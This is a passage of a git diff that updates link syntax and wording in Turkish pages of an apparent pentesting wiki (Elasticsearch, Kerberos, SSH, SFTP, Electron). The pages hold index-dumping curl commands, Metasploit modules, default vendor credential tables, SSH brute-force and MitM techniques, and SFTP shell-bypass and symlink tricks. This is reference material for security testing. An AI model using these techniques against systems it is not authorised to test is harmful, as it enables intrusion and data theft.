+{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 4e529b548..2eec17724 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ Bu port, **Redshift** tarafından çalıştırılmak için kullanılır. Temelde Daha fazla bilgi için kontrol edin: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 23d80506f..17ee4d4b1 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file Bu, yazıcıları kötüye kullanmak için kullanmak istediğiniz araçtır: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} # **Shodan** diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index e065ba0af..a92edc26e 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -8,7 +8,7 @@ Elasticsearch, **dağıtık**, **açık kaynak** bir arama ve analiz motorudur v ### Elasticsearch indeksi nedir? -Bir Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgeler** koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir. +Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgeler** koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir. Elasticsearch, hızlı tam metin aramaları sağlamak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar. @@ -39,8 +39,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir, böylece elasticsearch'ten herhangi bir bilgi alabilirsiniz. Ardından, [**bunu brute force ile denemeyi**](../generic-hacking/brute-force.md#elasticsearch) deneyebilirsiniz (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey geçerlidir).\ -İşte burada bir **varsayılan kullanıcı adı listesi** var: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**'dir. +Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir. Ardından, [**bunu brute force ile denemek**](../generic-hacking/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\ +İşte burada bir **varsayılan kullanıcı adı listesi**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir. ``` curl -X GET http://user:password@IP:9200/ ``` @@ -86,7 +86,7 @@ Elasticsearch hakkında bazı **bilgiler** **edinmek** için **GET** ile **eriş | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -Bu uç noktalar [**belgeden alındı**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ve burada **daha fazla** bilgi bulabilirsiniz.\ +Bu uç noktalar [**belgeden alındı**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ve burada **daha fazla** bulabilirsiniz.\ Ayrıca, `/_cat`'e erişirseniz, yanıt `/_cat/*` uç noktalarını içerecektir. `/_security/user`'da (eğer kimlik doğrulama etkinse) hangi kullanıcının `superuser` rolüne sahip olduğunu görebilirsiniz. @@ -112,30 +112,30 @@ Eğer bir indeksin **tüm içeriğini dökmek** istiyorsanız, `http://host:9200 _Bank indeksindeki her belgenin (girişin) içeriğini ve önceki bölümde gördüğümüz bu indeksin alanlarını karşılaştırmak için bir an durun._ -Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\ +Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının olmasıdır.**\ Ama şimdi bu indeksin **1000 belge içerdiğini bildiğinize göre**, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ \&#xNAN;_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._ ### Hepsini Dökme -Hepsini dökmek için, **önceki yolla aynı yola gidip herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\ +Hepsini dökmek için, **önceki yolla aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\ Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını** dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun. ### Arama -Eğer bazı bilgileri arıyorsanız, tüm indekslerde **ham bir arama** yapmak için `http://host:9200/_search?pretty=true&q=` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz, `http://host:9200/_search?pretty=true&q=` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) -Eğer sadece bir indeks içinde **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200//_search?pretty=true&q=` +Eğer sadece bir indeks üzerinde **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200//_search?pretty=true&q=` -_K içerik aramak için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._ +_Arama içeriği için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._ Ayrıca bir elasticsearch hizmetini fuzzlamak için [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gibi bir şey de kullanabilirsiniz. ### Yazma İzinleri -Yeni bir indeks içinde yeni bir belge oluşturmayı deneyerek yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak: +Yeni bir indeks içinde yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak: ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { @@ -145,7 +145,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j "name" : "how to get a job" }' ``` -O cmd, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır. +Bu komut, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır. **Yeni indeksin şimdi listede nasıl göründüğüne dikkat edin**: @@ -161,11 +161,12 @@ Bazı araçlar, daha önce sunulan verilerin bir kısmını elde edecektir: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 452fff555..6ecf91998 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **Varsayılan şifreler** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # Konfigürasyon dosyaları ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 7ba70c801..110d7eff3 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,16 +6,16 @@ **Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulaması yapma prensibi üzerine çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır. -**Active Directory** gibi ortamlarda, **Kerberos** kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce onaylandığını garanti eder. Ancak, **Kerberos** belirli kaynaklar veya hizmetler üzerindeki bir kullanıcının izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır. +**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır. -**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar. +**Kerberos** tarafından kimlik doğrulandıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar. **Varsayılan Port:** 88/tcp/udp ``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/) **hakkında yazıyı okumalısınız.** +### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkında yazıyı okumalısınız.** ## Daha Fazla @@ -27,7 +27,9 @@ PORT STATE SERVICE MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır, örneğin bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar. -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} Diğer istismarlar: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index b2aa9d509..279632fbb 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## Temel Bilgiler -**SSH (Güvenli Kabuk veya Güvenli Soket Kabuk)**, güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamak için kullanılan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir. +**SSH (Güvenli Kabuk veya Güvenli Soket Kabuk)**, güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamak için kullanılan bir ağ protokolüdür. Uzak sistemlere erişim sağlarken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir. **Varsayılan port:** 22 ``` @@ -16,13 +14,13 @@ - [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux dağıtımları ve Windows 10'dan itibaren Windows'ta yerleşik - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'de yerleşik -- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması, istemci yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir +- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması, istemcisi yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir - [CopSSH](https://www.itefix.net/copssh) – Windows için OpenSSH uygulaması **SSH kütüphaneleri (sunucu tarafını uygulayan):** - [libssh](https://www.libssh.org) – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) ve [R](https://github.com/ropensci/ssh) ile bağlamalar içerir; KDE tarafından sftp için ve GitHub tarafından git SSH altyapısı için kullanılır -- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış SSHv2 sunucu kütüphanesi, gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiştir +- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış ve gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiş SSHv2 sunucu kütüphanesi - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java kütüphanesi Apache MINA'ya dayanmaktadır - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol kütüphanesi @@ -97,7 +95,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### Kullanıcı Adı Sayımı -OpenSSH'nin bazı sürümlerinde kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz: +Bazı OpenSSH sürümlerinde kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -107,7 +105,7 @@ Bazı yaygın ssh kimlik bilgileri [burada](https://github.com/danielmiessler/Se ### Özel Anahtar Brute Force -Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz: +Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap betiğini kullanabilirsiniz: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` @@ -115,11 +113,13 @@ MSF yardımcı modülü: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -Ya da `ssh-keybrute.py` (yerel python3, hafif ve eski algoritmalar etkin): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). +Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Bilinen kötü anahtarlar burada bulunabilir: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG @@ -134,13 +134,13 @@ Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın. ## Varsayılan Kimlik Bilgileri -| **Satıcı** | **Kullanıcı Adları** | **Şifreler** | +| **Satıcı** | **Kullanıcı Adları** | **Parolalar** | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, cihaz | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | -| D-Link | admin, kullanıcı | private, admin, user | +| D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | @@ -163,7 +163,7 @@ Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yer [**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda tarif edilenleri tam olarak yapar. -Gerçek MitM'yi gerçekleştirmek için ARP sahtekarlığı, DNS sahtekarlığı veya [**Ağ Sahtekarlığı saldırıları**](../generic-methodologies-and-resources/pentesting-network/#spoofing) gibi teknikleri kullanabilirsiniz. +Gerçek MitM gerçekleştirmek için ARP spoofing, DNS spoofing veya [**Ağ Spoofing saldırıları**](../generic-methodologies-and-resources/pentesting-network/#spoofing) gibi teknikleri kullanabilirsiniz. ## SSH-Snake @@ -176,7 +176,7 @@ SSH-Snake aşağıdaki görevleri otomatik ve yinelemeli olarak gerçekleştirir 3. Keşfedilen tüm özel anahtarları kullanarak tüm hedeflere SSH bağlantısı kurmayı deneyin, 4. Bir hedefe başarıyla bağlanılırsa, bağlı olunan sistemde #1 - #4 adımlarını tekrar edin. -Tamamen kendini çoğaltan ve kendini yayabilen -- ve tamamen dosyasızdır. +Tamamen kendini çoğaltan ve kendini yayabilen - ve tamamen dosyasızdır. ## Yapılandırma Hataları @@ -197,7 +197,7 @@ SSH sunucularının varsayılan olarak root kullanıcı girişine izin vermesi y ### SFTP komut yürütme -SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmeden ayarlamaya çalıştığı yaygın bir gözden geçirme hatası vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra (örneğin `/bin/bash` gibi) bir komut yürütme talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır. +SFTP kurulumlarında, yöneticilerin kullanıcıların dosya alışverişi yapmasını sağlamak için uzaktan shell erişimini etkinleştirmemesiyle ilgili yaygın bir gözden kaçırma vardır. Kullanıcıları etkileşimli olmayan shell'lerle (örneğin, `/usr/bin/nologin`) ayarlayıp belirli bir dizine kapatsalar da, bir güvenlik açığı kalır. **Kullanıcılar, giriş yaptıktan hemen sonra bir komutun (örneğin `/bin/bash`) yürütülmesini talep ederek bu kısıtlamaları aşabilirler**, bu da yetkisiz komut yürütmeye olanak tanır ve amaçlanan güvenlik önlemlerini zayıflatır. [Buradan örnek](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -232,17 +232,17 @@ PermitTunnel no X11Forwarding no PermitTTY no ``` -Bu yapılandırma yalnızca SFTP'ye izin verecektir: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakmak ve TTY erişimini devre dışı bırakmakla birlikte, her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakmaktadır. +Bu yapılandırma yalnızca SFTP'ye izin verecek: başlangıç komutunu zorlayarak shell erişimini devre dışı bırakacak ve TTY erişimini devre dışı bırakacak, ayrıca her türlü port yönlendirmeyi veya tünellemeyi de devre dışı bırakacaktır. ### SFTP Tünelleme -Bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleme yapabilirsiniz, örneğin yaygın port yönlendirmesini kullanarak: +Bir SFTP sunucusuna erişiminiz varsa, trafiğinizi bunun üzerinden tünelleyebilirsiniz, örneğin yaygın port yönlendirmesini kullanarak: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink -**sftp** komutunun "**symlink**" komutu vardır. Bu nedenle, eğer bazı klasörlerde **yazma haklarınız** varsa, **diğer klasörlerin/dosyaların** **symlink**'lerini oluşturabilirsiniz. Muhtemelen bir chroot içinde **sıkışmış** olduğunuz için bu sizin için **özellikle faydalı olmayacaktır**, ancak, eğer oluşturulan **symlink**'e **no-chroot** **servis** üzerinden (örneğin, eğer symlink'e web üzerinden erişebiliyorsanız) **erişebiliyorsanız**, **symlinklenmiş dosyaları web üzerinden açabilirsiniz**. +**sftp** komutunun "**symlink**" komutu vardır. Bu nedenle, eğer bazı klasörlerde **yazma haklarınız** varsa, **diğer klasörlerin/dosyaların** **symlink**'lerini oluşturabilirsiniz. Muhtemelen bir chroot içinde **sıkışmış** olduğunuz için bu sizin için **özellikle faydalı olmayacaktır**, ancak eğer oluşturulan **symlink**'e **no-chroot** **servisinden** (örneğin, eğer symlink'e web üzerinden erişebiliyorsanız) **erişebiliyorsanız**, **symlink'li dosyaları web üzerinden açabilirsiniz**. Örneğin, yeni bir dosya **"**_**froot**_**"**'dan "**_**/**_**"**'ye bir **symlink** oluşturmak için: ```bash @@ -252,7 +252,7 @@ Eğer "_froot_" dosyasına web üzerinden erişebiliyorsanız, sistemin kök ("/ ### Kimlik Doğrulama Yöntemleri -Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, `publickey`'nin openSSH yapılandırmasında etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'un devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir: +Yüksek güvenlikli ortamlarda, basit faktör şifre tabanlı kimlik doğrulama yerine yalnızca anahtar tabanlı veya iki faktörlü kimlik doğrulamanın etkinleştirilmesi yaygın bir uygulamadır. Ancak genellikle daha güçlü kimlik doğrulama yöntemleri, daha zayıf olanların devre dışı bırakılmadan etkinleştirilir. Sık karşılaşılan bir durum, `publickey`'nin openSSH yapılandırmasında etkinleştirilmesi ve varsayılan yöntem olarak ayarlanması, ancak `password`'ün devre dışı bırakılmamasıdır. Bu nedenle, SSH istemcisinin ayrıntılı modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index 88158e747..b77592936 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,8 @@ Buckets'ı listeleme ve kötüye kullanma hakkında daha fazla bilgi edinmek istiyorsanız bu sayfayı kontrol edin: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 3866a921c..10f09dacf 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,10 +4,12 @@ ## Firebase Nedir -Firebase, esas olarak mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok ilginç şey sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır. +Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok diğer ilginç şey sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır. Firebase hakkında daha fazla bilgi edinin: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 4d056026d..8a20b0340 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -4,7 +4,7 @@ ## Örnek 1 -[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) adresinden bir örnek +[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) adresinden örnek "exit" olay dinleyicisi, sayfa yüklemesi başladığında her zaman iç kod tarafından ayarlanır. Bu olay, navigasyondan hemen önce yayımlanır: ```javascript @@ -15,7 +15,9 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) diff --git a/src/network-services-pentesting/pentesting-web/flask.md 